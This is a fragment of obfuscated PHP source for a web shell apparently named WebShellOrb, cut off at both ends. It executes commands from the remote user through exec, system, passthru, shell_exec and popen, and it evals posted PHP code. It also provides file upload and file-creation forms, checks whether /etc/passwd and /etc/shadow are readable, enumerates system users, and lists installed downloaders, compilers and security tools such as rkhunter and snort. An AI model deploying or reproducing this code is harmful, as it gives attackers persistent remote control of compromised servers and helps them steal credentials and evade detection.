l\\x61be\\x6c\\x3d\\x22Pa\\x67e\\x20\\x63ha\\x72\\x73\\x65t\\">".${${"\\x47L\\x4f\\x42ALS"}["\\x6d\\x67\\x76\\x6b\\x78\\x67\\x63m\\x6f\\x66\\x79\\x72"]}."\\x3c/s\\x65l\\x65c\\x74\\x3e<\\x73\\x70\\x61\\x6e\\x3e\\x43\\x6c\\x69en\\x74\\x20IP:\\x3cb\\x72\\x3e".$_SERVER["\\x52E\\x4d\\x4f\\x54\\x45_\\x41\\x44\\x44R"]."\\x3c/t\\x72>\\x3c\\x64iv \\x73\\x74y\\x6c\\x65\\x3d\\x22\\x6dar\\x67in:5\\x22\\x3e";}function WebShellOrbFooter(){${${"\\x47L\\x4f\\x42\\x41\\x4cS"}["\\x62\\x72v\\x6a\\x6de"]}=is_writable($GLOBALS["\\x63\\x77d"])?" (\\x57\\x72i\\x74eab\\x6ce)\\n\\t\\n\\t\\t<\\x74d>\\x3c\\x62\\x72\\x3e\\x3c\\x66o\\x72\\x6d ons\\x75\\x62mit\\x3d\\x22g(\'F\\x69\\x6ce\\x73\\x54\\x6f\\x6f\\x6c\\x73\\x27,\\x6eu\\x6c\\x6c,th\\x69s.\\x66\\x2eval\\x75\\x65);\\x72\\x65\\x74u\\x72n fals\\x65\\x3b\\x22\\x3e>\\x27\\x3e\\x3c/\\x66o\\x72\\x6d>\\x3c/td>\\n\\tMa\\x6be\\x20dir:\\x3c/s\\x70a\\x6e\\x3e$is_writable\\x3c\\x62\\x72>\\x3c\\x69\\x6eput c\\x6ca\\x73s\\x3d\\x27to\\x6f\\x6cs\\x49n\\x70\\x27\\x20\\x74\\x79p\\x65=\\x74e\\x78\\x74 \\x6eam\\x65\\x3d\\x64>\\x3c\\x69\\x6e\\x70ut\\x20\\x74yp\\x65=\\x73u\\x62\\x6di\\x74 v\\x61lu\\x65=\\x27\\x3e>\'\\x3e\\x3c/fo\\x72\\x6d\\x3e\\n\\t\\t<\\x74\\x64>\\x3cfor\\x6d\\x20o\\x6e\\x73u\\x62m\\x69\\x74\\x3d\\"\\x67(\'\\x46i\\x6cesT\\x6f\\x6fl\\x73\\x27,\\x6e\\x75\\x6c\\x6c,th\\x69s\\x2ef\\x2eva\\x6c\\x75\\x65,\'\\x6d\\x6bf\\x69\\x6c\\x65\');r\\x65tur\\x6e\\x20\\x66\\x61\\x6c\\x73\\x65\\x3b\\"\\x3e<\\x73\\x70an>M\\x61\\x6be \\x66ile:\\x3c/s\\x70\\x61\\x6e\\x3e$is_writable<\\x62\\x72>\\x3c\\x69\\x6ep\\x75t \\x63la\\x73s=\\x27\\x74o\\x6f\\x6csIn\\x70\'\\x20\\x74y\\x70\\x65\\x3d\\x74\\x65\\x78\\x74 \\x6ea\\x6d\\x65=f\\x3e\\x3cin\\x70\\x75\\x74 \\x74\\x79\\x70\\x65=\\x73\\x75\\x62mit\\x20\\x76\\x61lu\\x65\\x3d\'>\\x3e\'\\x3e\\x3c/\\x66\\x6f\\x72m>\\x3c/td>\\n\\t\\x3c/tr>\\n\\t\\t\\x3ct\\x64>\\x3c\\x66\\x6frm\\x20onsubm\\x69\\x74\\x3d\\x22g(\\x27\\x43\\x6f\\x6es\\x6f\\x6ce\\x27,nu\\x6c\\x6c,t\\x68i\\x73\\x2ec\\x2e\\x76\\x61\\x6cue)\\x3bret\\x75\\x72\\x6e\\x20fal\\x73e\\x3b\\"\\x3e\\x45\\x78ecut\\x65:<\\x69np\\x75\\x74\\x20\\x74yp\\x65\\x3ds\\x75bm\\x69t\\x20\\x76\\x61lue=\'>>\'>\\n\\t\\t\\x3cfo\\x72\\x6d\\x20\\x6d\\x65\\x74\\x68o\\x64=\\x27\\x70o\\x73t\'\\x20\\x45\\x4eC\\x54\\x59\\x50\\x45=\'\\x6d\\x75\\x6c\\x74\\x69p\\x61rt/\\x66orm-\\x64at\\x61\'\\x3e\\n\\t\\t<\\x69n\\x70ut \\x74\\x79\\x70e\\x3d\\x68\\x69d\\x64e\\x6e\\x20na\\x6d\\x65\\x3da v\\x61l\\x75e=\\x27F\\x69\\x6ce\\x73MAn\\x27>\\n\\t\\t\\n\\t\\t\\x3c\\x69n\\x70u\\x74 t\\x79p\\x65=\\x68i\\x64den\\x20\\x6ea\\x6d\\x65\\x3dp\\x31\\x20v\\x61lue=\\x27\\x75ploa\\x64\\x46\\x69le\\x27>\\n\\t\\t\\x3c/ta\\x62le>\\x3c/d\\x69\\x76\\x3e";}if(!function_exists("po\\x73ix\\x5fg\\x65t\\x70w\\x75\\x69d")&&(strpos($GLOBALS["\\x64\\x69\\x73\\x61\\x62\\x6c\\x65\\x5ffu\\x6ec\\x74\\x69o\\x6es"],"\\x70\\x6f\\x73\\x69\\x78_\\x67etpw\\x75\\x69d")===false)){function posix_getpwuid($p){return false;}}if(!function_exists("\\x70o\\x73ix\\x5fg\\x65\\x74\\x67\\x72\\x67i\\x64")&&(strpos($GLOBALS["\\x64\\x69sabl\\x65_fu\\x6e\\x63\\x74\\x69\\x6fns"],"\\x70os\\x69x\\x5f\\x67\\x65\\x74\\x67r\\x67i\\x64")===false)){function posix_getgrgid($p){return false;}}function WebShellOrbEx($in){${${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["q\\x64u\\x72\\x71\\x6d\\x71\\x6a\\x6d\\x62r"]}="";$ulvxazrw="\\x66";if(function_exists("\\x65\\x78\\x65\\x63")){${"\\x47LO\\x42\\x41\\x4c\\x53"}["\\x70uw\\x75a\\x6ch\\x65\\x72"]="\\x6f\\x75t";${"GL\\x4fBA\\x4cS"}["w\\x76n\\x66yv\\x6e\\x77\\x67\\x62\\x6e"]="ou\\x74";${"G\\x4c\\x4f\\x42A\\x4cS"}["\\x79\\x71\\x77w\\x6dd\\x63e"]="in";@exec(${${"G\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x79qw\\x77\\x6d\\x64c\\x65"]},${${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["q\\x64\\x75\\x72qm\\x71\\x6a\\x6d\\x62\\x72"]});${${"\\x47\\x4c\\x4f\\x42AL\\x53"}["\\x70\\x75\\x77\\x75\\x61\\x6c\\x68\\x65r"]}=@join("\\n",${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x77\\x76n\\x66\\x79\\x76\\x6e\\x77\\x67b\\x6e"]});}elseif(function_exists("p\\x61s\\x73t\\x68r\\x75")){${"GL\\x4f\\x42\\x41L\\x53"}["\\x67\\x68\\x71\\x77\\x6c\\x73z\\x6af\\x6b"]="out";ob_start();${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x74\\x6f\\x72\\x61\\x61\\x65\\x61\\x78l"]="\\x69\\x6e";@passthru(${${"\\x47\\x4cOB\\x41L\\x53"}["t\\x6fr\\x61\\x61\\x65\\x61\\x78\\x6c"]});${${"\\x47\\x4c\\x4fB\\x41L\\x53"}["\\x67\\x68\\x71\\x77l\\x73\\x7aj\\x66k"]}=ob_get_clean();}elseif(function_exists("\\x73\\x79s\\x74em")){${"\\x47\\x4c\\x4fBA\\x4c\\x53"}["m\\x61\\x74\\x79\\x6d\\x78\\x78"]="i\\x6e";${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["v\\x6a\\x74\\x62w\\x6b\\x71i\\x78"]="\\x6fut";ob_start();@system(${${"G\\x4cO\\x42\\x41\\x4cS"}["\\x6d\\x61t\\x79\\x6d\\x78\\x78"]});${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x76\\x6a\\x74b\\x77\\x6b\\x71\\x69\\x78"]}=ob_get_clean();}elseif(function_exists("\\x73h\\x65l\\x6c\\x5fe\\x78\\x65c")){${"GL\\x4f\\x42\\x41\\x4c\\x53"}["\\x6ep\\x63g\\x61\\x63fo\\x6f"]="i\\x6e";${"G\\x4c\\x4fBA\\x4c\\x53"}["\\x64\\x6a\\x6fdn\\x6e\\x74\\x6dr\\x6d\\x73i"]="o\\x75t";${${"G\\x4c\\x4f\\x42\\x41L\\x53"}["\\x64jo\\x64\\x6en\\x74m\\x72\\x6ds\\x69"]}=shell_exec(${${"\\x47LO\\x42AL\\x53"}["\\x6e\\x70\\x63\\x67\\x61\\x63f\\x6f\\x6f"]});}elseif(is_resource(${$ulvxazrw}=@popen(${${"G\\x4c\\x4fBA\\x4c\\x53"}["fnk\\x6bdt\\x67r"]},"\\x72"))){${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["\\x72\\x67\\x68i\\x6bha\\x76t\\x63g"]="\\x66";${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["q\\x64\\x75r\\x71\\x6d\\x71\\x6a\\x6db\\x72"]}="";while(!@feof(${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x73be\\x72\\x6cg"]}))${${"\\x47\\x4cO\\x42ALS"}["\\x71\\x64\\x75\\x72\\x71\\x6d\\x71\\x6a\\x6d\\x62\\x72"]}.=fread(${${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["\\x72\\x67\\x68\\x69\\x6b\\x68\\x61\\x76\\x74\\x63g"]},1024);$iemsnbyuveay="\\x66";pclose(${$iemsnbyuveay});}return${${"G\\x4c\\x4f\\x42\\x41LS"}["q\\x64\\x75\\x72\\x71mq\\x6a\\x6d\\x62\\x72"]};}function WebShellOrbViewSize($s){${"G\\x4cO\\x42\\x41\\x4c\\x53"}["\\x67\\x69\\x6dek\\x62fm"]="\\x73";${"\\x47L\\x4fB\\x41\\x4c\\x53"}["\\x63\\x62\\x6dexk\\x68x\\x69c\\x79"]="s";$dqglmpbjtwd="\\x73";$vamszp="\\x73";$jwevteetyqc="\\x73";$uebsygttsee="\\x73";${"\\x47\\x4c\\x4f\\x42\\x41LS"}["\\x6em\\x70wu\\x6d\\x78s\\x6agp\\x61"]="\\x73";if(is_int(${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["nm\\x70\\x77\\x75\\x6d\\x78\\x73j\\x67p\\x61"]}))${$vamszp}=sprintf("%\\x75",${$dqglmpbjtwd});$rsztkxvkbp="\\x73";if(${${"\\x47L\\x4fBA\\x4c\\x53"}["\\x75\\x6f\\x70\\x75\\x70\\x67\\x79"]}>=1073741824)return sprintf("%1.2f",${${"G\\x4cO\\x42\\x41LS"}["uo\\x70\\x75\\x70gy"]}/1073741824)."\\x20\\x47B";elseif(${$uebsygttsee}>=1048576)return sprintf("%\\x31\\x2e2f",${$jwevteetyqc}/1048576)."\\x20\\x4dB";elseif(${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x67i\\x6d\\x65\\x6bb\\x66m"]}>=1024)return sprintf("\\x25\\x31\\x2e\\x32\\x66",${${"GL\\x4fB\\x41\\x4c\\x53"}["\\x63bm\\x65\\x78k\\x68x\\x69\\x63\\x79"]}/1024)." KB";else return${$rsztkxvkbp}."\\x20B";}function WebShellOrbPerms($p){$qwyrtxgnisf="p";$lreavxykf="i";$ctwfzevrci="p";${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x71t\\x64\\x73\\x79e\\x67"]="p";$mhcxeci="i";$auktcgubws="p";$alkqtmvu="p";${"\\x47\\x4cOBA\\x4cS"}["\\x6eh\\x6cv\\x6b\\x76rl"]="i";$ilolonrsko="\\x70";$vlkybhpqjn="p";${"G\\x4cOBA\\x4c\\x53"}["\\x69\\x64\\x78\\x68\\x72\\x75\\x7a\\x65\\x75\\x74\\x74\\x69"]="\\x70";${"\\x47L\\x4fB\\x41\\x4cS"}["\\x6b\\x79\\x68\\x62\\x69\\x6c\\x74\\x66i"]="p";${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["\\x6f\\x68j\\x61\\x64\\x69\\x75\\x70\\x64\\x74\\x6f"]="i";$qkybts="p";$iwcqbfpgngg="\\x70";${"\\x47\\x4cOB\\x41\\x4c\\x53"}["olq\\x66\\x6d\\x6b\\x65n\\x67z"]="p";$jupethhvkj="\\x70";if((${${"\\x47LO\\x42A\\x4c\\x53"}["\\x76\\x77\\x68n\\x6d\\x76\\x62\\x7a\\x6duqd"]}&0xC000)==0xC000)${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x63\\x6c\\x6buy\\x6fj\\x6a"]}="\\x73";elseif((${$auktcgubws}&0xA000)==0xA000)${$lreavxykf}="\\x6c";elseif((${$alkqtmvu}&0x8000)==0x8000)${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x63l\\x6b\\x75\\x79o\\x6a\\x6a"]}="-";elseif((${${"\\x47LOB\\x41\\x4c\\x53"}["q\\x74d\\x73y\\x65\\x67"]}&0x6000)==0x6000)${${"GL\\x4fB\\x41L\\x53"}["\\x63\\x6ck\\x75\\x79\\x6f\\x6a\\x6a"]}="b";elseif((${${"\\x47\\x4cO\\x42\\x41\\x4cS"}["\\x76\\x77\\x68\\x6e\\x6d\\x76\\x62\\x7amu\\x71\\x64"]}&0x4000)==0x4000)${${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x6eh\\x6c\\x76\\x6b\\x76\\x72l"]}="d";elseif((${$ctwfzevrci}&0x2000)==0x2000)${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x63lku\\x79ojj"]}="c";elseif((${$vlkybhpqjn}&0x1000)==0x1000)${$mhcxeci}="\\x70";else${${"\\x47\\x4cOB\\x41\\x4cS"}["\\x63l\\x6bu\\x79\\x6fj\\x6a"]}="\\x75";${${"\\x47L\\x4fB\\x41LS"}["clk\\x75y\\x6f\\x6aj"]}.=((${${"\\x47LO\\x42\\x41L\\x53"}["\\x6by\\x68\\x62ilt\\x66\\x69"]}&0x0100)?"r":"-");${${"\\x47\\x4c\\x4fBA\\x4cS"}["\\x63l\\x6b\\x75\\x79\\x6f\\x6aj"]}.=((${${"\\x47\\x4cOBALS"}["\\x76\\x77hn\\x6d\\x76b\\x7a\\x6du\\x71\\x64"]}&0x0080)?"\\x77":"-");${"\\x47L\\x4f\\x42A\\x4cS"}["yx\\x63njhn"]="\\x69";${${"G\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x6f\\x68j\\x61d\\x69\\x75\\x70\\x64to"]}.=((${$ilolonrsko}&0x0040)?((${${"GL\\x4fB\\x41\\x4c\\x53"}["\\x76\\x77\\x68nm\\x76\\x62z\\x6d\\x75\\x71d"]}&0x0800)?"s":"x"):((${${"\\x47\\x4c\\x4fB\\x41L\\x53"}["\\x76\\x77h\\x6e\\x6d\\x76\\x62\\x7a\\x6duqd"]}&0x0800)?"S":"-"));${${"GL\\x4f\\x42\\x41L\\x53"}["\\x63l\\x6b\\x75y\\x6f\\x6a\\x6a"]}.=((${$qkybts}&0x0020)?"r":"-");${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["s\\x68sx\\x76\\x74\\x6e"]="p";${${"G\\x4c\\x4f\\x42A\\x4cS"}["\\x63l\\x6b\\x75\\x79o\\x6a\\x6a"]}.=((${${"\\x47\\x4c\\x4f\\x42ALS"}["\\x76\\x77\\x68\\x6e\\x6d\\x76\\x62\\x7a\\x6d\\x75\\x71\\x64"]}&0x0010)?"\\x77":"-");${${"GL\\x4f\\x42\\x41\\x4cS"}["\\x79\\x78\\x63n\\x6a\\x68\\x6e"]}.=((${${"GLOB\\x41\\x4cS"}["v\\x77\\x68\\x6e\\x6d\\x76\\x62\\x7a\\x6d\\x75\\x71d"]}&0x0008)?((${${"GL\\x4f\\x42A\\x4c\\x53"}["shs\\x78\\x76t\\x6e"]}&0x0400)?"s":"x"):((${$iwcqbfpgngg}&0x0400)?"\\x53":"-"));${${"\\x47\\x4cO\\x42\\x41\\x4cS"}["\\x63\\x6c\\x6b\\x75\\x79\\x6fj\\x6a"]}.=((${${"\\x47\\x4c\\x4f\\x42A\\x4cS"}["id\\x78\\x68\\x72\\x75\\x7a\\x65u\\x74\\x74i"]}&0x0004)?"\\x72":"-");${${"\\x47\\x4cO\\x42\\x41\\x4cS"}["\\x63lk\\x75y\\x6fj\\x6a"]}.=((${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["o\\x6c\\x71f\\x6d\\x6be\\x6e\\x67z"]}&0x0002)?"w":"-");${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x63\\x6cku\\x79\\x6f\\x6aj"]}.=((${${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x76\\x77\\x68n\\x6d\\x76\\x62\\x7a\\x6d\\x75q\\x64"]}&0x0001)?((${$qwyrtxgnisf}&0x0200)?"\\x74":"\\x78"):((${$jupethhvkj}&0x0200)?"\\x54":"-"));return${${"GLO\\x42A\\x4c\\x53"}["\\x63l\\x6b\\x75\\x79\\x6f\\x6a\\x6a"]};}function WebShellOrbPermsColor($f){$hfgpvmt="f";${"\\x47L\\x4f\\x42\\x41LS"}["\\x77ma\\x6bj\\x71c\\x74\\x76r"]="\\x66";${"\\x47L\\x4f\\x42A\\x4c\\x53"}["pi\\x67\\x79\\x75\\x6fr\\x68\\x6b"]="\\x66";if(!@is_readable(${${"GL\\x4f\\x42ALS"}["\\x70i\\x67\\x79\\x75\\x6f\\x72\\x68k"]}))return"\\x3cfont \\x63\\x6f\\x6co\\x72=#FF000\\x30\\x3e".WebShellOrbPerms(@fileperms(${$hfgpvmt}))."\\x3c/\\x66\\x6fnt\\x3e";elseif(!@is_writable(${${"\\x47LOB\\x41L\\x53"}["\\x77\\x6d\\x61\\x6b\\x6a\\x71c\\x74v\\x72"]}))return"\\x3c\\x66on\\x74\\x20c\\x6f\\x6co\\x72=w\\x68i\\x74\\x65>".WebShellOrbPerms(@fileperms(${${"G\\x4cOBALS"}["\\x73\\x62\\x65\\x72\\x6c\\x67"]}))."".${${"\\x47\\x4cO\\x42A\\x4cS"}["o\\x6e\\x6dd\\x72\\x78"]}.":\\x20";else echo"";}}WebShellOrbSecParam("\\x53\\x65\\x72\\x76\\x65r\\x20s\\x6ff\\x74w\\x61\\x72\\x65",@getenv("SE\\x52VE\\x52_\\x53\\x4f\\x46\\x54W\\x41\\x52\\x45"));if(function_exists("\\x61pac\\x68e_\\x67et_\\x6dod\\x75l\\x65\\x73"))WebShellOrbSecParam("Loa\\x64e\\x64 \\x41\\x70a\\x63he modul\\x65s",implode(", ",apache_get_modules()));WebShellOrbSecParam("\\x44i\\x73\\x61\\x62l\\x65d P\\x48\\x50\\x20\\x46\\x75nct\\x69\\x6fn\\x73",$GLOBALS["di\\x73\\x61\\x62\\x6c\\x65\\x5ffu\\x6ecti\\x6fn\\x73"]?$GLOBALS["\\x64isa\\x62l\\x65\\x5ff\\x75nctio\\x6es"]:"\\x6e\\x6fne");WebShellOrbSecParam("\\x4f\\x70en b\\x61s\\x65\\x20\\x64\\x69\\x72",@ini_get("o\\x70en_b\\x61\\x73e\\x64i\\x72"));WebShellOrbSecParam("S\\x61\\x66e\\x20\\x6dode\\x20ex\\x65\\x63 d\\x69r",@ini_get("safe_\\x6do\\x64\\x65\\x5f\\x65xe\\x63_\\x64ir"));${"\\x47LO\\x42A\\x4c\\x53"}["\\x79\\x64\\x68\\x68bkw\\x79\\x64"]="te\\x6d\\x70";WebShellOrbSecParam("\\x53af\\x65 \\x6dod\\x65\\x20\\x69n\\x63\\x6c\\x75\\x64e\\x20\\x64ir",@ini_get("saf\\x65\\x5fmod\\x65\\x5f\\x69n\\x63l\\x75\\x64e_dir"));WebShellOrbSecParam("c\\x55R\\x4c s\\x75\\x70p\\x6fr\\x74",function_exists("\\x63\\x75r\\x6c\\x5fv\\x65\\x72si\\x6fn")?"ena\\x62\\x6ced":"n\\x6f");${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["\\x6f\\x62\\x78tsb\\x6bf"]="\\x74e\\x6dp";${${"GLOBA\\x4c\\x53"}["\\x6d\\x65\\x72\\x63\\x67\\x6d\\x64w\\x65"]}=array();if(function_exists("my\\x73\\x71l_\\x67\\x65\\x74_\\x63\\x6c\\x69\\x65\\x6e\\x74\\x5f\\x69n\\x66\\x6f"))${${"\\x47\\x4c\\x4fB\\x41L\\x53"}["me\\x72c\\x67\\x6d\\x64\\x77\\x65"]}[]="\\x4dy\\x53ql\\x20(".mysql_get_client_info().")";if(function_exists("\\x6dssq\\x6c\\x5fco\\x6en\\x65\\x63t"))${${"\\x47LOBA\\x4c\\x53"}["\\x6d\\x65\\x72\\x63g\\x6ddwe"]}[]="\\x4d\\x53\\x53\\x51\\x4c";if(function_exists("\\x70g_\\x63on\\x6e\\x65c\\x74"))${${"\\x47LO\\x42\\x41\\x4c\\x53"}["\\x79\\x64\\x68h\\x62\\x6b\\x77\\x79\\x64"]}[]="\\x50o\\x73\\x74gre\\x53QL";if(function_exists("oc\\x69\\x5f\\x63\\x6f\\x6e\\x6e\\x65\\x63t"))${${"\\x47\\x4c\\x4fB\\x41L\\x53"}["\\x6f\\x62x\\x74sb\\x6bf"]}[]="Or\\x61cl\\x65";WebShellOrbSecParam("Su\\x70p\\x6frt\\x65\\x64 \\x64\\x61\\x74a\\x62\\x61\\x73\\x65\\x73",implode(",\\x20",${$domtksocnh}));echo"\\x3cb\\x72>";if($GLOBALS["\\x6fs"]=="n\\x69\\x78"){WebShellOrbSecParam("\\x52eada\\x62\\x6c\\x65\\x20/e\\x74c/\\x70as\\x73\\x77\\x64",@is_readable("/etc/\\x70a\\x73\\x73wd")?"y\\x65\\x73 ":"\\x6e\\x6f");WebShellOrbSecParam("\\x52\\x65\\x61\\x64abl\\x65\\x20/e\\x74\\x63/s\\x68adow",@is_readable("/\\x65t\\x63/s\\x68\\x61d\\x6f\\x77")?"y\\x65s [\\x76i\\x65w]":"n\\x6f");WebShellOrbSecParam("\\x4fS ve\\x72\\x73\\x69\\x6f\\x6e",@file_get_contents("/pro\\x63/\\x76\\x65r\\x73i\\x6fn"));WebShellOrbSecParam("\\x44\\x69\\x73t\\x72 \\x6e\\x61me",@file_get_contents("/e\\x74\\x63/\\x69\\x73su\\x65\\x2e\\x6e\\x65\\x74"));if(!$GLOBALS["s\\x61\\x66\\x65\\x5fm\\x6f\\x64e"]){$ydxmggcqmkt="u\\x73\\x65\\x72f\\x75\\x6c";$dvbwwqcdpb="\\x75\\x73e\\x72f\\x75\\x6c";${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x65y\\x72\\x62\\x6dl\\x6d"]="\\x64\\x6f\\x77\\x6e\\x6c\\x6fad\\x65\\x72s";${$dvbwwqcdpb}=array("\\x67c\\x63","l\\x63c","cc","ld","\\x6dak\\x65","\\x70\\x68p","p\\x65\\x72\\x6c","py\\x74\\x68on","\\x72u\\x62y","\\x74\\x61\\x72","\\x67zi\\x70","bzi\\x70","\\x62zip\\x32","\\x6e\\x63","\\x6co\\x63\\x61\\x74e","sui\\x64p\\x65\\x72\\x6c");${"\\x47\\x4cOB\\x41\\x4c\\x53"}["\\x63gkq\\x79\\x72"]="t\\x65mp";${"G\\x4cO\\x42AL\\x53"}["\\x6cgub\\x69x\\x6cbyz\\x64\\x6b"]="\\x74\\x65\\x6d\\x70";${${"\\x47\\x4cO\\x42\\x41\\x4cS"}["p\\x68\\x67\\x6a\\x79tx"]}=array("ka\\x76","nod\\x33\\x32","bdco\\x72ed","\\x75v\\x73c\\x61n","\\x73a\\x76","drw\\x65b\\x64","clamd","\\x72\\x6b\\x68\\x75\\x6e\\x74e\\x72","c\\x68\\x6b\\x72\\x6fot\\x6b\\x69\\x74","i\\x70t\\x61\\x62\\x6c\\x65s","ipfw","\\x74r\\x69\\x70wire","shi\\x65ldcc","\\x70or\\x74sen\\x74\\x72\\x79","s\\x6eo\\x72t","\\x6f\\x73\\x73e\\x63","\\x6cid\\x73\\x61dm","t\\x63plo\\x64g","s\\x78id","l\\x6fgc\\x68eck","\\x6c\\x6fgw\\x61t\\x63h","\\x73\\x79smask","zm\\x62s\\x63a\\x70","s\\x61\\x77\\x6dil\\x6c","w\\x6f\\x72\\x6ds\\x63a\\x6e","n\\x69\\x6eja");${${"\\x47L\\x4fB\\x41\\x4c\\x53"}["e\\x79r\\x62\\x6d\\x6cm"]}=array("w\\x67\\x65\\x74","f\\x65\\x74c\\x68","lyn\\x78","li\\x6e\\x6b\\x73","\\x63u\\x72\\x6c","\\x67\\x65\\x74","\\x6c\\x77p-mir\\x72\\x6fr");${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x66bb\\x67\\x73\\x78\\x65zkw"]="\\x64\\x6fwnl\\x6f\\x61d\\x65rs";echo"pos\\x69x_\\x67\\x65\\x74\\x70w\\x75\\x69d (\\"R\\x65a\\x64\\x22 /etc/p\\x61ss\\x77d)\\x3c/\\x73p\\x61\\x6e>\\x3c\\x74\\x61ble\\x3e\\x3c\\x74\\x72\\x3e\\x3c\\x74\\x64\\x3e\\x46rom\\x3c/td>\\x3c\\x74\\x64><\\x69npu\\x74 \\x74ype\\x3d\\x74\\x65\\x78\\x74\\x20\\x6eame\\x3dpa\\x72\\x61m1\\x20va\\x6cue\\x3d\\x30\\x3e\\x3c/\\x74\\x64\\x3e\\x3c/\\x74\\x72\\x3e<\\x74\\x72\\x3e\\x3c\\x74d>\\x54o\\x3c/t\\x64><\\x74d\\x3e<\\x69\\x6e\\x70\\x75\\x74\\x20\\x74\\x79\\x70\\x65\\x3dtext nam\\x65=\\x70\\x61r\\x61\\x6d2 \\x76a\\x6cu\\x65=1\\x30\\x30\\x30\\x3e\\x3c/\\x74\\x64>\\x3c/\\x74r\\x3e>\\x22>";if(isset($_POST["\\x70\\x32"],$_POST["p3"])&&is_numeric($_POST["p2"])&&is_numeric($_POST["p\\x33"])){${"\\x47\\x4cOB\\x41L\\x53"}["f\\x79l\\x6c\\x73u\\x78\\x69\\x67\\x6b"]="\\x74\\x65m\\x70";${${"\\x47\\x4c\\x4fB\\x41\\x4cS"}["\\x66\\x79\\x6c\\x6c\\x73\\x75\\x78i\\x67\\x6b"]}="";$ycgoqwhau="te\\x6d\\x70";for(;$_POST["\\x702"]<=$_POST["p\\x33"];$_POST["\\x702"]++){$yntzsuru="u\\x69\\x64";$llkcgbksjw="\\x75id";${"\\x47L\\x4f\\x42\\x41L\\x53"}["\\x77\\x6d\\x75\\x70\\x64\\x73\\x71\\x68yt"]="u\\x69\\x64";${$yntzsuru}=@posix_getpwuid($_POST["\\x70\\x32"]);if(${${"\\x47\\x4cO\\x42\\x41L\\x53"}["\\x77m\\x75\\x70d\\x73\\x71hy\\x74"]})${${"\\x47L\\x4f\\x42\\x41L\\x53"}["\\x6d\\x65\\x72\\x63\\x67m\\x64w\\x65"]}.=join(":",${$llkcgbksjw})."\\n";}echo"";WebShellOrbSecParam("U\\x73er\\x73",${$ycgoqwhau});}}}else{WebShellOrbSecParam("O\\x53\\x20V\\x65r\\x73io\\x6e",WebShellOrbEx("\\x76er"));WebShellOrbSecParam("Account S\\x65tt\\x69ng\\x73",WebShellOrbEx("\\x6ee\\x74 \\x61cc\\x6funts"));WebShellOrbSecParam("Us\\x65r\\x20\\x41\\x63\\x63\\x6fu\\x6e\\x74\\x73",WebShellOrbEx("\\x6eet\\x20\\x75se\\x72"));}echo"\\x3c/\\x64iv\\x3e";WebShellOrbFooter();}function actionPhp(){if(isset($_POST["\\x61\\x6aa\\x78"])){WebShellOrbsetcookie(md5($_SERVER["HTT\\x50_\\x48O\\x53\\x54"])."aj\\x61\\x78",true);ob_start();eval($_POST["p\\x31"]);${${"GL\\x4f\\x42\\x41L\\x53"}["\\x6de\\x72\\x63g\\x6d\\x64\\x77\\x65"]}="\\x64o\\x63um\\x65nt\\x2e\\x67et\\x45\\x6ceme\\x6e\\x74\\x42yI\\x64(\'P\\x68p\\x4f\\x75\\x74put\\x27).s\\x74\\x79le.\\x64\\x69sp\\x6c\\x61\\x79=\\x27\\x27;doc\\x75\\x6d\\x65\\x6et\\x2eg\\x65t\\x45l\\x65\\x6de\\x6etB\\x79Id(\'\\x50h\\x70Ou\\x74p\\x75t\\x27).\\x69nn\\x65rHT\\x4dL\\x3d\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\\x27\\0")."\';\\n";$qpbfjuxdtq="t\\x65\\x6dp";echo strlen(${$qpbfjuxdtq}),"\\n",${${"\\x47\\x4cOB\\x41LS"}["\\x6d\\x65\\x72\\x63\\x67m\\x64\\x77e"]};exit;}if(empty($_POST["aj\\x61\\x78"])&&!empty($_POST["p1"]))WebShellOrbsetcookie(md5($_SERVER["\\x48\\x54TP_HO\\x53\\x54"])."\\x61\\x6a\\x61\\x78",0);WebShellOrbHeader();if(isset($_POST["p2"])&&($_POST["\\x70\\x32"]=="inf\\x6f")){echo"\\x3c\\x68\\x31>P\\x48\\x50\\x20info";ob_start();phpinfo();${${"\\x47L\\x4f\\x42\\x41L\\x53"}["e\\x63\\x62\\x63\\x6d\\x69\\x79bu\\x65"]}=ob_get_clean();${${"G\\x4c\\x4f\\x42\\x41LS"}["\\x65cbc\\x6d\\x69y\\x62u\\x65"]}=preg_replace(array("\\x21(\\x62\\x6f\\x64\\x79|\\x61:\\x5cw+|b\\x6fdy, \\x74d, th, h1,\\x20h2)\\x20{.*}\\x21\\x6ds\\x69\\x55","\\x21\\x74d,\\x20th\\x20{(\\x2e*)}!\\x6ds\\x69\\x55","\\x21\\x3c\\x69mg[^>]+\\x3e\\x21ms\\x69U",),array("","\\x2ee,\\x20\\x2ev, \\x2eh,\\x20\\x2eh\\x20\\x74\\x68 {\\$\\x31}",""),${${"\\x47LO\\x42\\x41\\x4c\\x53"}["\\x65cb\\x63\\x6di\\x79\\x62\\x75e"]});echo 